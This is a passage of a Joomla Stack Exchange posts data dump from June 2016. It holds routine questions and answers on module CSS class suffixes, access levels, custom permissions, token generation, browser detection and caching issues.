deeper digging.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2016-06-16T17:29:11.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16872" PostTypeId="2" ParentId="16869" CreationDate="2016-06-16T21:05:56.263" Score="1" Body="&lt;p&gt;You can do this in different ways:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Try with some &lt;a href=&quot;http://extensions.joomla.org/category/ads-a-affiliates/jobs-a-recruitment&quot; rel=&quot;nofollow&quot;&gt;Job Board&lt;/a&gt; extension.&lt;/li&gt;&#xA;&lt;li&gt;Try with some &lt;a href=&quot;http://extensions.joomla.org/category/authoring-a-content/content-construction&quot; rel=&quot;nofollow&quot;&gt;CCK&lt;/a&gt; extension.&lt;/li&gt;&#xA;&lt;li&gt;Build your custom solution with &lt;a href=&quot;http://fabrikar.com/&quot; rel=&quot;nofollow&quot;&gt;Fabrik&lt;/a&gt; or &lt;a href=&quot;https://www.component-creator.com&quot; rel=&quot;nofollow&quot;&gt;Component Creator&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7394" LastActivityDate="2016-06-16T21:05:56.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16873" PostTypeId="2" ParentId="5822" CreationDate="2016-06-16T22:13:42.947" Score="0" Body="&lt;p&gt;Firstly and most importantly, I do understand it is the current year, and resurrecting this thread is only because it may be helpful and I found no working answer to my problem.&#xA;If I read correctly and the problem is the same as my own, a site in www.somesite.com/thisfolderisthehomedirectory when appended with '/administrator' returns a 404 to the root of www.somesite.com/&#xA;My joomla 3.5 installation left a htaccess.txt in my directory.&#xA;renamed it to .htaccess&#xA;that was it.&#xA;May not work for you.&#xA;beans.&lt;/p&gt;&#xA;" OwnerUserId="8569" LastActivityDate="2016-06-16T22:13:42.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16874" PostTypeId="1" CreationDate="2016-06-16T23:32:52.987" Score="0" ViewCount="2137" Body="&lt;p&gt;i am developing an web site in Joomla, and i wolud like adding a css class to my custom module. Specifically to an h3 tag. But when i have wrotten the css class into the form input field in the Advanced Tab and i save this change, it isn't registered and consecuently this change isn't displayed into the browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/LneGZ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LneGZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How i could to solve this problem?&lt;/p&gt;&#xA;" OwnerUserId="8402" LastActivityDate="2016-06-17T02:07:01.970" Title="Custom Module Header Class Css" Tags="|joomla-3.5|custom-module|module-style|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16875" PostTypeId="2" ParentId="16874" CreationDate="2016-06-17T02:07:01.970" Score="1" Body="&lt;p&gt;According to the screenshot you put your class name into &quot;Module Class Suffix&quot;. Suffix is a keyword there, because in you case it will give you a class name:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;customlatestnews&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in the HTML code of the website. There is a simple trick however - just add a whitespace before class name in Module Class Suffix field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is custom-developed module, ensure that it use the 'moduleclass_sfx' parameter, like (in main module file):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$moduleclass_sfx = htmlspecialchars($params-&amp;gt;get('moduleclass_sfx'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class=&quot;someclassname&amp;lt;?php echo $moduleclass_sfx; ?&amp;gt;&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In module's /tmpl/default.php (or any other layout).&lt;/p&gt;&#xA;" OwnerUserId="1831" LastActivityDate="2016-06-17T02:07:01.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16876" PostTypeId="2" ParentId="16483" CreationDate="2016-06-17T02:20:35.077" Score="1" Body="&lt;p&gt;You can make plugin and use onContentPrepareForm() to add new field to every form possible:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function onContentPrepareForm($form, $data)&#xA;{&#xA;    // You can add some filtering here and add fields only to selected components&#xA;    if ($form-&amp;gt;getName() != 'com_content.article')&#xA;    {&#xA;        return true;&#xA;    }&#xA;&#xA;    // Ensure you're dealing with Form&#xA;    if (!($form instanceof JForm))&#xA;    {&#xA;        $this-&amp;gt;_subject-&amp;gt;setError('JERROR_NOT_A_FORM');&#xA;&#xA;        return false;&#xA;    }&#xA;&#xA;    // If everything is ok - load form file&#xA;    JForm::addFormPath(dirname(__FILE__) . '/myform');&#xA;    $form-&amp;gt;loadFile('myform', false);&#xA;&#xA;    return true;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Data from fields added this way is stored in &quot;attribs&quot; column. The only flaw is component must support onContentPrepareForm event. You can also add some custom data handling using onContentDeforeSave() and onContentAfterSave() functions.&lt;/p&gt;&#xA;" OwnerUserId="1831" LastActivityDate="2016-06-17T02:20:35.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16877" PostTypeId="2" ParentId="5703" CreationDate="2016-06-17T11:30:46.740" Score="7" Body="&lt;p&gt;As a final answer, Joomla has a builtin &quot;Logout&quot; menu item, added to core I think around 3.4* maybe 3.5.  So now you don't need any additional plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The logout menu item also allows for a redirect on logout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also if you set your Login menu item to 'Guest' access and your Logout menu item to 'Registered' access, the menu change depending on your status.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Detailed SE answer here:&#xA;&lt;a href=&quot;https://joomla.stackexchange.com/questions/16023/change-login-to-logout&quot;&gt;Change Login to Logout&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="188" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2016-06-17T11:30:46.740" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16878" PostTypeId="1" CreationDate="2016-06-17T14:27:00.187" Score="0" ViewCount="52" Body="&lt;p&gt;Can someone let me know how to prevent access to pages unless registered. At the moment the only restriction to all pages is h registered. So if a user becomes registered to view one page they're then given permission to view ALL pages on my site. See images. However, I would like only certain pages to be registered while other sites remain registered permanently. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope I'm making sense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&#xA;&lt;a href=&quot;https://i.stack.imgur.com/SyeJ8.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SyeJ8.png&quot; alt=&quot;registration&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8056" LastActivityDate="2016-06-18T21:45:02.247" Title="Prevent Access in Joomla" Tags="|joomla-3.4|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16880" PostTypeId="2" ParentId="16878" CreationDate="2016-06-17T16:23:39.017" Score="1" Body="&lt;p&gt;When you create a new article, there's 'Access' option in the sidebar. Switch it to 'Registered'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/64xKU.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/64xKU.jpg&quot; alt=&quot;Screenshot&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, go to Menus, and edit the category blog menu item. Go to Options tab and set Show Unauthorised Links option to Yes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/0579A.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0579A.jpg&quot; alt=&quot;Screenshot&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2295" LastEditorUserId="2295" LastEditDate="2016-06-18T21:45:02.247" LastActivityDate="2016-06-18T21:45:02.247" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="16881" PostTypeId="2" ParentId="10880" CreationDate="2016-06-17T17:48:36.860" Score="0" Body="&lt;p&gt;Path should actually be: modules/mod_articles_category/tmpl/default.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One more important suggestion, place the changed files in your own template in /[yourTemplateName]/html/mod_articles_category/default.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way the file will not be removed when upgrading Joomla.&lt;/p&gt;&#xA;" OwnerUserId="8573" LastActivityDate="2016-06-17T17:48:36.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16883" PostTypeId="1" CreationDate="2016-06-17T20:17:58.953" Score="0" ViewCount="103" Body="&lt;p&gt;I work on an extension that defines a number of custom permissions. We've done this through  elements in the access.xml file, and up until J3.5.x it was working fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now we're finding that the permissions will display in the ACL permissions config, but when we change the options and save -- none of the settings are actually saved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there changes in 3.5.x with how those permissions need to be defined?&lt;/p&gt;&#xA;" OwnerUserId="2316" LastActivityDate="2016-06-17T22:13:07.740" Title="define custom permissions in J3.5.x" Tags="|custom-component|acl|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16884" PostTypeId="2" ParentId="16883" CreationDate="2016-06-17T22:13:07.740" Score="2" Body="&lt;p&gt;The underscores in permission names is indeed the problem. Fortunately, others have run into this issue and there is a patch already submitted that should be included in 3.5.2. Details here: &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/9648&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms/pull/9648&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2316" LastActivityDate="2016-06-17T22:13:07.740" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16885" PostTypeId="2" ParentId="16529" CreationDate="2016-06-17T23:07:07.947" Score="2" Body="&lt;p&gt;To complement, there are two areas in which at some point will have to review due to the importance with the creation and administration of sites:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Security_Checklist&quot; rel=&quot;nofollow&quot;&gt;Joomla Security Checklist&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Portal:Search_Engine_Optimisation&quot; rel=&quot;nofollow&quot;&gt;Search Engine Optimisation&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7394" LastActivityDate="2016-06-17T23:07:07.947" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16887" PostTypeId="1" CreationDate="2016-06-18T21:24:47.377" Score="0" ViewCount="66" Body="&lt;p&gt;Can someone please show me how to assign a user to the access level shown in image 'No Access2'?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Carlton&lt;a href=&quot;https://i.stack.imgur.com/mAJul.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mAJul.png&quot; alt=&quot;access levels&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8056" LastActivityDate="2018-03-11T19:04:04.760" Title="Assigning Users to Accesss Levels" Tags="|joomla-3.4|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16888" PostTypeId="2" ParentId="16887" CreationDate="2016-06-18T21:49:43.150" Score="0" Body="&lt;p&gt;Go to Users -&gt; Manage, choose the user you want to edit, go to Assigned User Group tab, then checkout the user group item you want.&lt;/p&gt;&#xA;" OwnerUserId="2295" LastActivityDate="2016-06-18T21:49:43.150" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16889" PostTypeId="1" AcceptedAnswerId="17238" CreationDate="2016-06-19T07:01:11.037" Score="2" ViewCount="946" Body="&lt;p&gt;I am trying to generate a token using &lt;a href=&quot;https://api.joomla.org/cms-3/classes/JCryptCipherCrypto.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;JCryptCipherCrypto&lt;/a&gt; and I wanted to generate a string which will contain a-z, A-Z, 0-9 and length must be of 16 characters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have done this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$crypto = new JCryptCipherCrypto;&#xA;$key = $crypto-&amp;gt;generateKey();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Its method is not working or maybe I am doing something wrong :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone tell me a better way to generate a token string or explain to me what I am missing?&lt;/p&gt;&#xA;" OwnerUserId="3637" LastEditorUserId="12352" LastEditDate="2018-03-24T02:17:34.390" LastActivityDate="2018-03-24T02:17:34.390" Title="How to generate random token?" Tags="|custom-component|joomla-3.5|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16891" PostTypeId="1" AcceptedAnswerId="16892" CreationDate="2016-06-19T20:32:13.163" Score="1" ViewCount="221" Body="&lt;p&gt;Can someone let me know if it's possible to edit images within joomla? I would like to be able to crop, annotate, etc an image within joomla. The only way I can see it's possible would to be to completely delete the image and upload the re-edited image - which would be painful, as I have so many.&lt;/p&gt;&#xA;" OwnerUserId="8056" LastEditorUserId="1629" LastEditDate="2016-06-19T21:54:58.540" LastActivityDate="2016-06-19T22:08:26.213" Title="Edit Images Within Joomla" Tags="|joomla-3.4|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16892" PostTypeId="2" ParentId="16891" CreationDate="2016-06-19T22:08:26.213" Score="2" Body="&lt;h2&gt;Online editing&lt;/h2&gt;&#xA;&lt;p&gt;You can use an extension like &lt;a href=&quot;https://www.joomlacontenteditor.net/component/zoo/item/image-manager-extended-4&quot; rel=&quot;nofollow noreferrer&quot;&gt;JCE Image Manager Extended&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Image Manager Extended adds to the power and ease of use of the Image&#xA;Manager with options for resizing and thumbnailing images on upload,&#xA;quick and easy image popup creation, a unique Thumbnail Editor and an&#xA;Image Editor.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;The image editor is fairly powerful, and includes functions like Resize, Crop and Rotate, plus a few image effects.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Note that this is a subscription based extension.&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&lt;h2&gt;Downloading images&lt;/h2&gt;&#xA;&lt;p&gt;In cases where I have to edit many images in Joomla, I usually download the entire &lt;strong&gt;/images/&lt;/strong&gt; folder, edit the files locally using a real image editor, and then upload the files again, replacing the existing images.&lt;/p&gt;&#xA;&lt;p&gt;If you have cPanel access, you can compress the entire folder, since it's a lot faster to download a single (large) file than hundreds or thousands of small image files. Then compress the images again when you're ready to upload the, and unpack everything on your server.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;&lt;sup&gt;Disclaimer: I am not in any way affiliated with JCE or joomlacontenteditor.net.&lt;/sup&gt;&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2016-06-19T22:08:26.213" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16893" PostTypeId="1" CreationDate="2016-06-20T06:38:42.777" Score="1" ViewCount="143" Body="&lt;p&gt;How can i display a version-note from an article on the front-end – like the date or author tags?&lt;/p&gt;&#xA;" OwnerUserId="8512" LastActivityDate="2016-06-20T18:35:19.203" Title="Displaying version-note on articles" Tags="|joomla-3.x|front-end|versions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16895" PostTypeId="1" AcceptedAnswerId="16896" CreationDate="2016-06-20T09:39:50.330" Score="3" ViewCount="214" Body="&lt;p&gt;We're getting an integer with : &#xA;JFactory::getApplication()-&gt;client-&gt;browser;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to get the browser name?&lt;/p&gt;&#xA;" OwnerUserId="8579" LastActivityDate="2016-06-21T07:50:20.320" Title="How to get the name of the browser" Tags="|browser-detection|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16896" PostTypeId="2" ParentId="16895" CreationDate="2016-06-20T10:31:12.823" Score="4" Body="&lt;p&gt;Browser's names are set as integer &lt;code&gt;CONSTANTS&lt;/code&gt; inside the &lt;code&gt;JApplicationWebClient&lt;/code&gt; Class &lt;code&gt;('/libraries/joomla/application/web/client.php')&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;More resources:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/646/joomla-browser-detection&quot;&gt;Joomla browser detection&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://api.joomla.org/cms-3/classes/JApplicationWebClient.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;JApplicationWebClient API&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;strong&gt;Getting the browser name:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;You could get the Constants of the Class in an array using PHP's &lt;strong&gt;&lt;a href=&quot;https://www.php.net/manual/en/intro.reflection.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;Reflection API&lt;/a&gt;&lt;/strong&gt;, like so:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$clientReflector = new ReflectionClass('JApplicationWebClient');&#xA;$browsers_array = $clientReflector-&amp;gt;getConstants();&#xA;print_r($browsers_array);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This will result to the following:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Array&#xA;(&#xA;    [WINDOWS] =&amp;gt; 1&#xA;    [WINDOWS_PHONE] =&amp;gt; 2&#xA;    [WINDOWS_CE] =&amp;gt; 3&#xA;    [IPHONE] =&amp;gt; 4&#xA;    [IPAD] =&amp;gt; 5&#xA;    [IPOD] =&amp;gt; 6&#xA;    [MAC] =&amp;gt; 7&#xA;    [BLACKBERRY] =&amp;gt; 8&#xA;    [ANDROID] =&amp;gt; 9&#xA;    [LINUX] =&amp;gt; 10&#xA;    [TRIDENT] =&amp;gt; 11&#xA;    [WEBKIT] =&amp;gt; 12&#xA;    [GECKO] =&amp;gt; 13&#xA;    [PRESTO] =&amp;gt; 14&#xA;    [KHTML] =&amp;gt; 15&#xA;    [AMAYA] =&amp;gt; 16&#xA;    [IE] =&amp;gt; 17&#xA;    [FIREFOX] =&amp;gt; 18&#xA;    [CHROME] =&amp;gt; 19&#xA;    [SAFARI] =&amp;gt; 20&#xA;    [OPERA] =&amp;gt; 21&#xA;    [ANDROIDTABLET] =&amp;gt; 22&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;There is also the&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;JFactory::getApplication()-&amp;gt;client-&amp;gt;userAgent; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;which would return the full user agent's string, e.g.:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:46.0) Gecko/20100101&#xA;Firefox/46.0&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2023-11-17T20:12:06.850" LastActivityDate="2016-06-21T07:50:20.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16897" PostTypeId="1" AcceptedAnswerId="19195" CreationDate="2016-06-20T10:42:40.377" Score="1" ViewCount="188" Body="&lt;p&gt;I have found a plugin that extends joomla's core registration by adding a new field named &lt;code&gt;User group selector&lt;/code&gt;. There is a trigger method in this plugin named &lt;strong&gt;onUserAfterSave&lt;/strong&gt; that save the custom field after saving other fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My question&lt;/strong&gt; is this: Since it uses another function for saving user group (that selected by user) and there is no &lt;code&gt;query transaction&lt;/code&gt; for this, what happen if the the second one fails?? Is there any other way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plugin name : &lt;code&gt;usergroupselector&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="7654" LastActivityDate="2017-02-23T07:42:25.663" Title="Extending joomla registeration with a plugin" Tags="|joomla-3.x|plugin|joomla-api|registration|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16898" PostTypeId="2" ParentId="16807" CreationDate="2016-06-20T13:59:32.220" Score="3" Body="&lt;p&gt;This is a problem with Zoo that everybody is complaining about. I think Zoo expects you to use Joomla cache, but you aren't, so it is regenerating the images on every refresh. Zoo's official answer to this problem that it cannot be fixed. However, it can be fixed, but that requires modifying a core Zoo file (which most people do not like to do).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For backup reasons, I suggest you wipe out that folder (the images are being re-created anyway). If you don't, then you will reach a point where you don't have any space on your server. Additionally, if you run into an issue and you want to revert to a previous backup, then most likely your backup will fail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also suggest you develop a cron that deletes the contents of this cache folder daily.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-06-20T13:59:32.220" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16899" PostTypeId="2" ParentId="15694" CreationDate="2016-06-20T14:05:50.127" Score="2" Body="&lt;p&gt;Your problem is with browser caching. You should disable it in your &lt;code&gt;.htaccess&lt;/code&gt; file and then you won't have to do any refresh. See this post on how to do that: &lt;a href=&quot;http://www.itoctopus.com/how-to-disable-browser-caching-in-joomla-backend&quot; rel=&quot;nofollow&quot;&gt;http://www.itoctopus.com/how-to-disable-browser-caching-in-joomla-backend&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're wondering what is causing this problem, then it is most likely your server which is explicitly requesting from the browser to use cached versions of the pages. This problem is common with websites using shared hosting (especially SiteGround).&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-06-20T14:05:50.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16900" PostTypeId="2" ParentId="16893" CreationDate="2016-06-20T18:35:19.203" Score="1" Body="&lt;p&gt;Here's a quick guide on how to do that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* First include the path */&#xA;JModelLegacy::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_contenthistory', 'ContenthistoryModel');&#xA;&#xA;/* Now instantiate the model */&#xA;$historyModel = JModelLegacy::getInstance('History', 'ContenthistoryModel');&#xA;&#xA;/* Now get the content history of the current article */&#xA;$items = $historyModel-&amp;gt;getItems();&#xA;&#xA;/* Now get the last item. Note that depending on the ordering, you may need to get the first item */&#xA;$lastItem = array_pop($items);&#xA;&#xA;/* Now you can get the latest note */&#xA;$latestNote = $lastItem-&amp;gt;version_note;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that I haven't tested the above code, but technically it should work.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-06-20T18:35:19.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16902" PostTypeId="1" CreationDate="2016-06-20T22:02:47.810" Score="2" ViewCount="64" Body="&lt;p&gt;I am an experienced Joomla user but I've never seen something like this during my 4 years' Joomla life.&#xA;After I change anything on the back end, such as article's title, or menu item's title, the changes won't immediately show up on the front-end until about 30 minutes later. For some of my computers/browsers it changes a day after, and some hasn't changed at all yet even though I made the change 2 days ago.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At first I thought this was a problem of cache, but I've done clearing cache for browser and back-end, I even use some machine/browser that has never opened the page, the problem is still there. Besides I don't think things like menu item title or article title get into cache. So what could possibly be the cause of problem?&lt;/p&gt;&#xA;" OwnerUserId="5680" LastActivityDate="2016-06-21T04:23:21.907" Title="Change on the back-end takes 30 mins or longer to show on front-end, what could possible be the cause?" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16905" PostTypeId="2" ParentId="16902" CreationDate="2016-06-21T04:23:21.907" Score="2" Body="&lt;p&gt;We have worked on a website with the exact same problem this morning - and it turned out that they were using an Amazon AWS reseller who really maxed up the server cache. The website had many issues because of &quot;overcaching&quot;, and the problem was that there was no setting whatsoever to override the cache in that particular scenario.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suggest you take it to your host and discuss it with them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: As the first comment on your question mentioned, SiteGround is one of those hosts where this problem is very common.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-06-21T04:23:21.907" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16907" PostTypeId="2" ParentId="16889" CreationDate="2016-06-21T07:04:37.537" Score="1" Body="&lt;p&gt;This result is exactly what you want. Now you have a key to encrypt data. And later you can decrypt it with the same key.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Test string&#xA;$str = 'Lorem ipsum...';&#xA;&#xA;// Get key&#xA;$crypto = new JCryptCipherCrypto;&#xA;$key = $crypto-&amp;gt;generateKey();&#xA;&#xA;// Crypt it. Nobody can read it without key&#xA;$crypted = $crypto-&amp;gt;encrypt($str, $key);&#xA;&#xA;// Decrypt crypted string&#xA;$decrypted = $crypto-&amp;gt;decrypt($crypted, $key);&#xA;echo $decrypted;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;OUTPUT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Lorem ipsum...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3944" LastActivityDate="2016-06-21T07:04:37.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16908" PostTypeId="1" CreationDate="2016-06-21T07:59:11.817" Score="2" ViewCount="187" Body="&lt;p&gt;Please help advice. How to save multiple Fields in the database. I have a form with X number of fields. Fields added using JQuery&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;text&quot; value=&quot;&quot; name=&quot;jform[phone]&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; value=&quot;&quot; name=&quot;jform[phone]&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; value=&quot;&quot; name=&quot;jform[phone]&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In models I get $data['phone'], but I can not save it in the database.&#xA;What is the best way to save multiple Fields in the database.&lt;/p&gt;&#xA;" OwnerUserId="4036" LastActivityDate="2016-06-21T13:21:41.870" Title="Save multiple fields in DB" Tags="|joomla-3.x|database|form|custom-component|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16909" PostTypeId="1" AcceptedAnswerId="16912" CreationDate="2016-06-21T09:34:13.407" Score="1" ViewCount="548" Body="&lt;p&gt;I have created a module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, when someone visits the DB page, I want to show some information from database. How should I do that? It seems I cannot find any relevant article in Joomla's site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I go the module's setting page in the administration. Well, there are certain number of fields which I had declared in the *.xml file of the module. Now, in the same page, beside those fields, I want to add some HTML and some information, too. These information must be read from the DB. Now I do not see any place to do this. How can I connect to DB and fetch data right in the setting page of a module under the administration.&lt;/p&gt;&#xA;" OwnerUserId="8286" LastEditorUserId="8286" LastEditDate="2016-06-21T11:29:49.420" LastActivityDate="2016-06-21T12:47:31.777" Title="How to connect to DB in module's admin panel" Tags="|module|database|module-params|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16911" PostTypeId="1" CreationDate="2016-06-21T11:13:47.233" Score="0" ViewCount="86" Body="&lt;p&gt;My challenges&gt;&gt;&gt;&gt; JAuthentication: :authenticate: Failed to load plugin: plgauthenticationcookie&#xA;JAuthentication: :authenticate: Failed to load plugin: plgauthenticationplg_simplemembership_authentication&#xA;Username and password do not match or you do not have an account yet.&lt;/p&gt;&#xA;" OwnerUserId="8586" LastActivityDate="2016-06-21T13:43:53.800" Title="My challenges,Joomla Administrator www.melhevconcept.com/administrator" Tags="|plugin|" AnswerCount="1" CommentCount="1" ClosedDate="2016-06-22T06:20:33.867" ContentLicense="CC BY-SA 3.0" />
